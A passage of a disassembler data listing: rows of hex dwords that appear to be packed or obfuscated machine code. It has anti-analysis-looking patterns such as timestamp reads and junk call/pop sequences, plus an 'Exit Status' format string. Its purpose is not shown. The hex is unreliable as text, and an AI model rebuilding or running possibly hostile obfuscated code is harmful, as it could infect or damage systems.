64D40FAh, 0FA9D8B04h dd 83064D40h, 0FFFFC7Bh, 1D85h, 117C6800h, 481CB81h, 7F6E8424h dd 0FF006A34h, 0F295FF33h, 61064D40h, 1DE9C3h, 94680000h dd 8188FB2Ch, 536C2404h, 6A7705h, 95FF33FFh, 64D40F2h dd 40FAAD83h, 0E904064Dh, 0FFFFFFB1h, 1ADE948h, 8B600000h dd 8B242474h, 0FC28247Ch, 68A80B2h, 47078846h, 2BBh, 0FD20200h dd 585h, 46168A00h, 830FD212h, 0FFFFFFE2h, 850FD202h, 5 dd 1246168Ah, 6A830FD2h, 33000000h, 0FD202C0h, 585h, 46168A00h dd 830FD212h, 12Ah, 850FD202h, 5, 1246168Ah, 2C013D2h dd 5850FD2h, 8A000000h, 0D2124616h, 0D202C013h, 5850Fh dd 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h, 0C013D212h dd 6840Fh, 2B570000h, 5F078AF8h, 0BB470788h, 2, 0FFFF70E9h dd 1B8FFh, 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C0h dd 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 1BBC32Bh, 0F000000h dd 3485h, 1B900h, 0D2020000h, 5850Fh, 168A0000h, 13D21246h dd 0FD202C9h, 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 2BF78B56h dd 5EA4F3F5h, 0FFFF08E9h, 0E0C148FFh, 46068A08h, 1B9E88Bh dd 2000000h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h dd 5850Fh, 168A0000h, 0FD21246h, 0FFFFDE82h, 7D003DFFh dd 830F0000h, 22h, 5003Dh, 0E820F00h, 41000000h, 2BF78B56h dd 5EA4F3F0h, 0FFFEB4E9h, 7FF883FFh, 3870Fh, 0C1830000h dd 0F78B5602h, 0A4F3F02Bh, 0FE9BE95Eh, 68AFFFFh, 0C0C93346h dd 840F01E8h, 17h, 8B02D183h, 0F78B56E8h, 0A4F3F02Bh, 1BB5Eh dd 76E90000h, 2BFFFFFEh, 8928247Ch, 611C247Ch, 0BA0008C2h dd 929h, 9D3E9h, 0EDDB0600h, 0D93BD602h, 78704C31h, 0B3E06A25h dd 0B9DD12C0h, 0C23D9700h, 7AD105A3h, 0BBC523DFh, 0EDFD5B03h dd 0D579DD0Fh, 2A675E39h, 0B4F27B76h, 0D6961D85h, 0C837E763h dd 76D018B7h, 0B9C5238Dh, 0EDFE5405h, 0CA79C70Fh, 2A784424h dd 0AFEC6768h, 0BD980992h, 0DF7BD300h, 3BC118B3h, 0AC8B22DFh dd 0EDE84005h, 0CB36C116h, 24784A24h, 63h dup(0) dd 0EDDB0600h, 0C537DC0Bh, 2A674422h, 0A7EE7075h, 0FCD51192h dd 8D28D606h, 34D00EB4h, 0A0C4308Dh, 0BFBA5104h, 0C537DD13h dd 63354C38h, 0AFF8226Bh, 0AF980295h, 0C82FC417h, 57BF45BBh dd 0B4CE3AFDh, 0EDB65019h, 0C335DD13h, 63354F37h, 0B2E72271h dd 0B1981D8Fh, 0DF34DA0Bh, 34D44BAFh, 0B0D976C9h, 0BFFB4119h dd 0C3209312h, 7A355923h, 0B2E66D77h, 961D81h, 48h dup(0) dd 0EDDB0600h, 0CF38C105h, 2D674E3Dh, 0AFF52276h, 0B4981C8Fh dd 0CF7BC40Fh, 7ADB0EB3h, 0BBDE39CBh, 0B8E8150Eh, 0C230DD08h dd 647C0B31h, 0B5EE7B25h, 0A5CB5092h, 0C03EC31Dh, 0AB861F8h dd 0A6CA33C1h, 0B8BA190Fh, 0CD36DF08h, 7E7C0B32h, 0AFF36425h dd 0B9D5508Dh, 0D429D803h, 3EDB0AF6h, 0A6CE248Dh, 0B9E8541Eh dd 0D936CA46h, 78650B24h, 0A1F3656Ah, 5E8Dh, 61h dup(0) dd 0A4DC0600h, 0CF79D60Ah, 7F675939h, 0A4E47675h, 88985EC1h dd 8D28DE06h, 3DDA19A6h, 0F5C637DFh, 0EDE95402h, 0C23CD604h dd 64744676h, 0ACF4726Ch, 0B8DD0481h, 0C935D64Eh, 23D406F6h dd 0D8A133CFh, 0BEBD4103h, 0CA37DA46h, 6F614833h, 0B9E32261h dd 8A9811C0h, 0DE2EC507h, 7AC704F6h, 0B6CA24CEh, 0E3FE5001h dd 0C531E746h, 63730B25h, 0B7A16769h, 0A89F1E8Fh, 0DF34C04Eh dd 34D44BBDh, 0A7C43BD4h, 1B0Fh, 0E0h dup(0) dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0) dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h dd 2 dup(0) dd 2EFDE9h, 0D853100h, 0FC064D16h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 84C35141h, 0CAF71FE7h, 0CA80F8B1h dd 6AC08B1Ch, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 97DAC351h, 10E851h, 75450000h dd 0F3B4BAC2h, 69BB2D78h, 179BEFCBh, 0EA81C0CCh, 1F30BF70h dd 0BD835B5Bh, 64D1BD9h, 83097500h, 4D0011BDh, 13740006h dd 0C08B5350h, 1B8h, 0B79D8D00h, 0FF064FB5h, 83585BD3h dd 4D0011BDh, 11740006h, 1B85350h, 8D000000h, 4FB4689Dh dd 5BD3FF06h, 0B9958B58h, 0F5064D28h, 0C08B92B7h, 29798589h dd 0BD83064Dh, 64D313Dh, 0FA840F00h, 6A000001h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 0C868C350h, 2467EA69h, 813A5551h, 161BCDAh, 45BD8330h dd 64D14h, 1C3840Fh, 95330000h, 64D0731h, 55006A60h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0F19D896Ah, 8B064D22h, 4D144585h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 96B0301Ch dd 0FCC79F60h, 958BB922h, 64D3245h, 3E805h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 3B0F65E6h, 17A36AD2h, 0E8D7B704h, 12h, 940550F2h, 0A561BE40h dd 7C560D69h, 5F432DF0h, 8D89306Bh, 64D322Dh, 85B5895Bh dd 90064D00h, 52505250h, 310FDE8Bh, 585AF98Ah, 30BB310Fh dd 5A0F1ECEh, 0FA8A5058h, 0A1BD0190h, 8D064D11h, 4D4DC185h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 8913C697h, 4D2D2D8Dh, 6800F06h, 89000000h dd 4D2D3D95h, 8B665006h, 240489D0h, 5D19D03h, 858D064Dh dd 64D4D9Fh, 0FFC7BB66h, 60525050h, 310F5250h, 7E9585Ah dd 0E6000000h, 0A139F3A3h, 0F61DF77h, 2810F31h, 0B7000000h dd 89585A47h, 7E82404h, 0FC000000h, 0C7B2B21Fh, 8D0FD159h dd 5, 458189BBh, 95FF5A4Fh, 64D0341h, 2EDD9D8Bh, 0C483064Dh dd 0CE90Ch, 2C700000h, 68FE5045h, 0DF923F08h, 858D06BEh dd 64D4D9Fh, 90E4DB80h, 50DE8B66h, 8B905AB7h, 4D10C995h dd 89026A06h, 4D1C5DB5h, 7495FF06h, 0F006885h, 6A61DFBFh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 5A34C351h, 944198Bh, 4D0C19BDh, 0D285C706h dd 1064D4Dh, 0E9000000h, 0Dh, 5DDAE9E6h, 0FE16C4C8h, 0CAC07ED6h dd 46BB9614h, 50060DE0h, 5B575360h, 6A96615Fh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 0D835C350h, 0A99523B2h, 89064D2Ch, 4D4D83B5h, 662BA06h dd 0BD836433h, 64D1281h, 58850F01h, 8B000000h, 4D0CED9Dh dd 5F88306h, 49850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 800FD4C3h, 2, 0B8D78Bh dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 0B775C356h, 8350B7BBh, 4D22F9BDh dd 840F0006h, 30h, 5D2CF6BAh, 0DA816676h, 0B8D208h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 1485C356h, 1EEBF7F6h, 0DA816660h, 858B719Bh dd 64D15A9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 30C35646h, 6602C083h, 89254FBBh, 4D4D7B85h, 5AF95106h dd 8BFF00C6h, 4D26559Dh, 0E585C606h, 53064D26h, 25799D0Bh dd 0C468064Dh, 60C6369Ch, 0CE952h, 0AB20000h, 11446338h dd 711DDC6Ch, 505B87C0h, 14E852h, 49D50000h, 0B07A129h dd 0FDA1FF67h, 50994D9Bh, 0C7CF7BE2h, 0F5E522Ch, 5A616031h dd 4816158h, 7AAC1424h, 0B5FFF936h, 64D0B29h, 8D18DF80h dd 5075D785h, 0AD8D8906h, 0FF064D31h, 0E19D8BD0h, 89064D27h dd 4D051185h, 0C9958B06h, 83064D28h, 4D1139BDh, 850F0106h dd 140h, 0DA59D8Bh, 6A61064Dh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 8BE5C350h, 85C6D18Bh dd 64D26E5h, 55006A45h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 494357C0h, 3C4A769Fh, 0F163FDBAh dd 15890F78h, 0F000000h, 0F8Ah, 0AE900h, 0F1000000h, 2CB9053Fh dd 4F49135Ch, 4E8h, 6038C200h, 0E2BA66DAh, 6E95066h, 0F5000000h dd 64AD3967h, 24448BFFh, 0F008B04h, 1D81h, 0E9525000h dd 10h, 11454F67h, 59CAAF63h, 3637E17Eh, 509F138Ah, 6160310Fh dd 4489585Ah, 66580424h, 2682D281h, 0B29B5FFh, 860F064Dh dd 3, 8DDE8B66h, 5075D785h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 8A2871F5h dd 2B8076D5h, 268D9D89h, 0D0FF064Dh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 65C35545h, 6AD18Ah, 0D0FFC5B3h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 7C35141h dd 0D88B66B1h, 275DBD83h, 0F01064Dh, 0BC85h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 8BF2EB7Bh, 4D15A985h, 0C1B50906h, 0E9064D00h, 76h, 6DBA6660h dd 61C88BF1h, 0E9906EB6h, 0Eh, 0E7AC3129h, 0E994EC37h dd 9C183988h, 5050CEA6h, 0EE852h, 7A170000h, 0A587DD50h dd 6C8F293Fh, 0C53EFD42h, 3A10BA66h, 5A310F5Ah, 0EE99058h dd 84000000h, 0C64472EEh, 0EE01EC72h, 91FD8765h, 0E9146A35h dd 0Bh, 0FD67697Fh, 0E07409B1h, 0FF9C075Ch, 4D051195h dd 0F9958B06h, 58064D27h, 1F59B589h, 3880064Dh, 8B850F00h dd 0FFFFFFFh, 28Ch, 0C6DE8A00h, 0E3800100h, 10E96160h dd 72000000h, 8A4FA64Fh, 0DA6F7B42h, 4C785CE3h, 83C69881h dd 4D1865BDh, 840F0006h, 7Fh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 15h, 0D5C35747h, 24BA669Fh, 6AFF6A44h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 0FF81C357h, 4D051195h, 0DA8B5206h, 0FFD3E95Ah dd 6AFFFFh, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 50E546C3h, 8B766E5Eh, 28A0Fh, 78B60000h dd 9D958BF9h, 0C7064D23h, 4D186585h, 106h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 159D8B04h, 89064D23h, 4D4D8785h, 0CA816606h, 0B69028B3h dd 0D98A5076h, 0D3BF0F90h, 0C1BD8960h, 0F064D1Bh, 28Eh dd 6AD18B00h, 57006A05h, 3E8h dword_544450 dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h ; DATA XREF: ___:off_43CD24o dd 35B7EF97h, 0BD892953h, 64D0E2Dh, 4D9F858Dh, 890F064Dh dd 6, 15B99D29h, 5090064Dh, 2850F52h, 8B000000h, 66310FD1h dd 5A0D53BBh, 9BB5058h, 90702DBFh, 5BD9BB66h, 4D8F858Dh dd 0BD29064Dh, 64D0091h, 0E8A0F50h, 0E9000000h, 9, 9D157556h dd 0C30A7F81h, 24048943h, 21919D89h, 95FF064Dh, 64D2AA5h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 14C35242h dd 0DAED976Bh, 8B60D8D9h, 4D2579B5h, 259D8906h, 61064D30h dd 7C8A8D8Dh, 6A064Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 36B51EC3h, 2CC23F38h, 3B2D63Fh dd 1174C00Bh, 4D9F858Dh, 0FF50064Dh, 0BD8589D1h, 0EB064D4Dh dd 0BD85C70Ah, 0FF064D4Dh, 6AFFFFFFh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 3DFBC353h dd 2B036A32h, 4D2E919Dh, 80D88A06h, 950B4FDAh, 64D2239h dd 51006A61h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 0E1F16AD8h, 14E99BA0h, 73000000h, 0B140837h dd 340A06B2h, 0F88F75F0h, 0C9FE13FBh, 8BE1355Dh, 0E585C6D1h dd 4D064D26h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 88C35646h, 4968F8A0h, 816469AFh, 0C75F2404h, 6A3FCBh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 0B5FFE4C3h, 64D2B69h, 2D719D8Bh, 858D064Dh, 65075D7h dd 88C0Fh, 1570000h, 4D05459Dh, 0D0FF5A06h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0F3C35747h, 3951801Ch dd 11E97AE7h, 0C7000000h, 3BDCE2A3h, 0EA2305E9h, 0F2861CF9h dd 35E0235Bh, 2F498589h, 6A064Dh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 0FE015CC3h, 85C63FAFh dd 64D26E5h, 60DE8B45h, 68E0Fh, 9D290000h, 64D118Dh, 399B501h dd 0E861064Dh, 4, 8E726969h, 3F763ABBh, 8D0F5031h, 2, 448BD98Bh dd 0D88A0424h, 19B6008Bh, 4244489h, 1DEFBA56h, 585A3E84h dd 494DBA66h, 0B29B5FFh, 6A064Dh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 0A83DE9C3h, 898D3138h dd 4D0581B5h, 0D7858D06h, 0F065075h, 82h, 0E9D0FF00h, 13h dd 57404380h, 8E82BEC3h, 8F8592FDh, 8DFEEF88h, 8923FC56h dd 4D231D85h, 15B53106h, 60064D2Dh, 880FC88Bh, 6, 0DA98D8Bh dd 8B61064Dh, 0D1958BD2h, 66064D0Ch, 0BD89D98Ch, 64D0A6Dh dd 0F04C1F6h, 1F084h, 19952900h, 0E9064D18h, 112h, 217D9D89h dd 9EB3064Dh, 0B1DB58Bh, 5E9064Dh, 94000000h, 948569EDh dd 1180C681h, 0BD890000h, 64D0BE9h, 2999BD83h, 0F00064Dh dd 1E85h, 8E800h, 0DCA40000h, 0EF5BFE15h, 0E680A06Bh, 0D08B5A7Ch dd 0BAE9h, 0B5BD2900h, 83064D1Bh, 840F003Eh, 0ABh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0D3C35242h, 6DF38166h dd 0D8BF0F5Ah, 0CB816660h, 146A9D6Dh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 5CC35141h, 7069BEF8h, 0BE96Eh dd 8F380000h, 40794905h, 55699DEDh, 1195FF02h, 6A064D05h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 8840C350h, 7E856h, 0F0200000h, 0F01EB341h dd 0C1BD893Fh, 5B064D28h, 998D8961h, 0E9064D22h, 0FFFFFF57h dd 5820Fh, 0C2BA0000h, 0C7159DAAh, 106h, 69852900h, 0F064D13h dd 0BD83D7BFh, 64D4D87h, 0C6850F05h, 0E8000000h, 13h, 98E090CFh dd 0BC924DFh, 35E21251h, 59195690h, 0F8EDDE23h, 1DB58B5Ah dd 0BB064D23h, 2A1E9470h, 64B9h, 8E900h, 0DDDE0000h, 8D726135h dd 3E806FA2h, 2E840FE8h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0A31AC352h dd 0A4EABA66h, 0E91DC380h, 15h, 1EC28166h, 57E8032h, 45840FC2h dd 89000000h, 4D0E1185h, 6A4606h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 3D9DD9C3h, 898D47F4h dd 4D0F198Dh, 850F4906h, 0FFFFFF8Ah, 25898529h, 0EE9064Dh dd 0BA000000h, 465F41C7h, 2BB1B589h, 8B66064Dh, 950B58D1h dd 64D25A5h, 1EBDBD83h, 0F00064Dh, 13484h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 0DBF0BAC6h, 0B1BD019Eh, 60064D14h, 0C65BF853h, 4D26E585h dd 11E95406h, 90000000h, 8065A1D7h, 0A6308200h, 0E0224D9Ah dd 0B2E6F37Ah, 816CE381h, 4E81CD8h, 0F4000000h, 0FFF4EBEh dd 280h, 50D08B00h, 28E0F50h, 60000000h, 448B5B61h, 8E90424h dd 1B000000h, 0DA9009F5h, 8BD2A22Eh, 8B525000h, 0B2310FD6h dd 89585AD4h, 0B6042444h, 6A5811h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 0FC3456C3h, 0A27B9719h dd 1B589DDh, 0FF064D13h, 4D0B29B5h, 0FD958906h, 8D064D15h dd 5075D785h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 495425BCh, 0D0FF3C8Ah, 1789958Bh dd 6A064Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 0BC35242h, 0D45839Bh, 0F9824DFAh, 1EBDB5FFh, 8166064Dh dd 0FF9801F2h, 0D1BF0FD0h, 6800F61h, 8B000000h, 4D23D195h dd 4585C706h, 1064D1Ch, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 15CCC356h dd 0D8589EEh, 0B064D21h, 4D0D2D95h, 0F606006h, 9523F6BFh dd 64D14E5h, 97C76861h, 0CE941A5h, 1A000000h, 0FD492175h dd 38C47AB3h, 81E72F0Dh, 97472434h, 6A41A5h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 0E58CA3C3h dd 8A8F4CBEh, 1D9D8BFEh, 6A064D18h, 53006AFFh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0F97A261Eh dd 315FA90Ch, 0B8995FFh, 9D8B064Dh, 64D2D45h, 599D8961h dd 50064D0Ah, 0CE8h, 4C194300h, 0D167DDF0h, 64A20060h dd 5B30B6FAh, 6A240489h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0BB8BC357h, 61447EB6h dd 1F0D9589h, 858B064Dh, 64D2929h, 7E9h, 0D8053C00h, 0C61873E2h dd 6E9h, 7CD8600h, 0BFBBB67h, 2C840FC0h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 5C9DC350h, 0FF3EDF12h, 4D2E7195h, 661BB706h, 0C719CFBAh dd 4D0E1585h, 106h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 0E9D014EFh, 0Fh, 8D0C9DCEh dd 78CC2F8Ch, 9E4CFF5Ch, 836422E9h, 4D2969BDh, 840F0006h dd 2Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h dd 8FC35747h, 0B06746F0h, 0F5B529C7h dd 0FF064D2Eh, 4D0A5D95h, 0BD83F506h, 64D30F5h, 35840F00h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 0CB16C355h, 0A6F98412h, 9D8B0941h dd 64D1451h, 1F2995FFh, 8D29064Dh, 64D0FB1h, 54DBD83h dd 0F00064Dh, 3584h, 83DE8B00h, 4D1771BDh, 850F0006h, 26h dd 232D958Bh, 95FF064Dh, 64D3331h, 13E9DBB2h, 0F8000000h dd 115ABAD0h, 9969892Ah, 186E68B4h, 88726ABBh, 0BD83C518h dd 64D244Dh, 50840F00h, 66000000h, 81198DBAh, 4D257585h dd 400306h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 89DA8BE0h, 4D29F18Dh, 0A5858106h dd 3064D31h, 0E8000040h, 8, 76A52C50h, 4F4688D0h, 6F1950Bh dd 0F5A064Dh, 9D9D2331h, 8D064D0Fh, 4D5E058Dh, 899EB706h dd 53006A01h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 662060B1h, 0AD71DA81h, 840FC233h, 0Bh, 5850Fh dd 81660000h, 0BAD19DDBh, 66812A30h, 66044189h, 310FD78Bh dd 338D8DFCh, 66064D5Eh, 189D78Bh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 21C35242h, 66BC0409h, 813BE487h dd 7B816CBh, 6AC2337Eh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 4A1AC352h, 8BAEB108h dd 4D0F419Dh, 13E906h, 0A9950000h, 683A4436h, 0B81B0864h dd 0D057171Ch, 0DED452E3h, 0BE818h, 80150000h, 82D2E350h dd 0F3D338DAh, 0C1B58969h, 5B064D1Bh, 6A044189h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 5D43C357h, 362178F7h, 589958Bh, 0BD83064Dh, 64D0E8Dh dd 18840F00h, 8B000000h, 4D0D8595h, 0F99D2906h, 0FF064D17h dd 4D30C995h, 0E5953106h, 83064D21h, 4D0ADDBDh, 850F0106h dd 60h, 38F0Fh, 0C2800000h, 52E90Ch, 0DE90000h, 0A2000000h dd 231EE4BCh, 0C025B075h, 0E4C098ABh, 5F97B58Bh, 6C7064Dh dd 0 dd 5D35B58Bh, 6C7064Dh, 0 dd 6AF38ACFh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 652EC356h, 958B42C7h, 64D22C5h dd 0E15BD83h, 0F00064Dh, 13684h, 0E9BD8300h, 1064D10h dd 116850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 0FAB211C3h, 8BD88B66h, 4D4D7B8Dh dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 0B193EE47h, 2F74AEC7h, 8A0F7164h db 6, 0 word_544F42 dw 0 ; DATA XREF: ___:off_435748o dd 14ED958Bh, 1C6064Dh, 419D8900h, 60064D18h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 44C35242h, 1181958Bh dd 0E268064Dh, 5030B7BEh, 0DE852h, 0EF4B0000h, 0ACF7211Bh dd 5BCC606Dh, 0E94F7875h, 13h, 635387EBh, 6AE418F1h, 503E8E45h dd 31F31BD1h, 5A34C476h, 8BB7310Fh, 3481585Ah, 0B7BE6224h dd 0E19D8B30h, 6A064D1Bh, 0E19D89FFh, 0FF064D2Bh, 4D0B8995h dd 0A9958B06h, 61064D0Dh, 27E19D03h, 0F380064Dh, 595FF07h dd 52064D2Eh, 7B8D8B5Ah, 0F064D4Dh, 682h, 0C5BD8900h, 0FE064D23h dd 0EE901h, 261C0000h, 0CD3E3598h, 0CC1014AFh, 4610F6Bh dd 0C49BD83h, 0F01064Dh, 685h, 19950100h, 8B064D0Bh, 50006AC0h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 7FD81845h, 17A52FDBh, 0E890B326h, 8, 690C39D4h, 0DC668326h dd 2DAD9D8Bh, 835A064Dh, 4D1BD9BDh, 9750006h, 11BD83h dd 7400064Dh, 8B53501Ah, 75858BC0h, 89064D25h, 4D257585h dd 159D8D06h, 0FF064FB7h, 83585BD3h, 4D0011BDh, 18740006h dd 858B5350h, 64D2575h, 25758589h, 9D8D064Dh, 64FB404h dd 585BD3FFh, 6135BB66h, 45958B56h, 5B064D1Bh, 26AD958Bh dd 0C08B064Dh, 8E1EBB66h, 0DD59D8Bh, 0BD83064Dh, 64D0E15h dd 25850F00h, 0F000000h, 0C89h, 6820F00h, 1000000h, 4D0A7D8Dh dd 0F9BD8306h, 64D2Fh, 6840Fh, 9D8B0000h, 64D0E6Dh, 0E15BD83h dd 0F00064Dh, 3584h, 0E9B1B600h, 0Ah, 8B7E2339h, 176140DDh dd 0BD834642h, 64D0E21h, 17840F00h, 3000000h, 4D04019Dh dd 8B606006h, 0FE081F1h, 6141869Ah, 2E98166h, 0BD83619Ah dd 64D0E15h, 82840F00h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 7FC7C357h dd 0EF4E9D30h, 0D88A5124h, 21BD835Bh, 64D0Eh, 4F840Fh dd 0E8600000h, 14h, 61AC4BA7h, 0CB99964Bh, 0E38D8DBFh dd 665C3139h, 2A470B27h, 1BDD9D8Bh, 0E95A064Dh, 12h, 0DE6774E6h dd 0EFF48589h, 0F0D3472Ah, 0BFD70EDAh, 0E96146B9h, 11h dd 3CB1C6A5h, 8C4B4752h, 73EEE72Dh, 7214A144h, 15BD8302h dd 64D0Eh, 1B840Fh, 958B0000h, 64D3339h, 294DBD83h, 0F00064Dh dd 884h, 815B5200h, 9BFE79D3h, 15BD835Eh, 64D0Eh, 4B840Fh dd 7E80000h, 6E000000h, 0CB43B9E2h, 8166C0C9h, 5A8F78E2h dd 1635BD83h, 0F00064Dh, 2C84h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 0F559C5CDh dd 95FFAFB3h, 64D2D41h, 2D1719BBh, 0E9C08B0Ch, 14h, 84685A7Bh dd 0F21B4A1Fh, 0C49AB79Eh, 88C5858h, 0DFDAC3D3h, 37B1BB66h dd 1BD9BD83h, 7500064Dh, 11BD8309h, 64D00h, 53501A74h dd 858BC08Bh, 64D31A5h, 31A58589h, 9D8D064Dh, 64FB77Ch dd 585BD3FFh, 11BD83h, 7400064Dh, 8B535018h, 4D31A585h dd 0A5858906h, 8D064D31h, 4FB41D9Dh, 5BD3FF06h, 66D18B58h dd 8B8713BBh, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 17492BD5h, 68A0Fh, 8D890000h, 64D2C71h dd 0E15BD83h, 0F00064Dh, 48984h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 110F9B47h dd 81A78C85h, 851396DAh, 39BD8352h, 2064D11h, 28840Fh dd 14E90000h, 0E0000000h, 13F5C531h, 0AB7A6870h, 73342B2Ah dd 33C872AAh, 83FD3581h, 4D0ADDBDh, 850F0106h, 2, 0BD835B53h dword_545350 dd 64D14E1h, 73840F00h, 0B6000000h, 0A6B760D9h, 4D7B8D8Bh ; DATA XREF: ___:off_43CCE4o dd 7E9064Dh, 7B000000h, 3236AF3Fh, 958BAED5h, 64D0AA5h dd 9D8B01FEh, 64D1FBDh, 0F991F868h, 81D08B97h, 6E882404h dd 0CA816806h, 7CD12CF9h, 6AFF6Ah, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 6D42FCC3h, 0C5BAFDA6h dd 0FCC0A080h, 0B8995FFh, 958B064Dh, 64D23D5h, 66BEB361h dd 6A60DF8Bh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 0DF68C353h, 155A86B4h, 99CCFECCh dd 4D7B8D8Bh, 4EB6064Dh, 1FE2FB3h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 87C35747h, 688CEB80h, 53E61795h dd 3481FE8Ah, 0E6171524h, 0CA816653h, 0FF6AE5A7h, 6D19503h dd 95FF064Dh, 64D0B89h, 20099589h, 0F61064Dh, 0BD8DD0BFh dd 64D1299h, 0B099D33h, 4F8B064Dh, 52006A1Ch, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0F9891A43h dd 825E1C31h, 399D8BEEh, 6A064D07h, 5022B301h, 0C89D88Bh dd 8D958B24h, 89064D15h, 4D1221BDh, 6A858D06h, 6606503Ch dd 0D0FFD78Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 7C35545h, 70155674h, 0D7BCE37Ah, 2B999D8Bh, 4F8B064Dh dd 1BA6620h, 66036A3Dh, 50D2B6BAh, 3CE2BA60h, 0C28B348Dh dd 240C8961h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 45C35646h, 14E9C8E8h, 5F000000h, 1380CE47h, 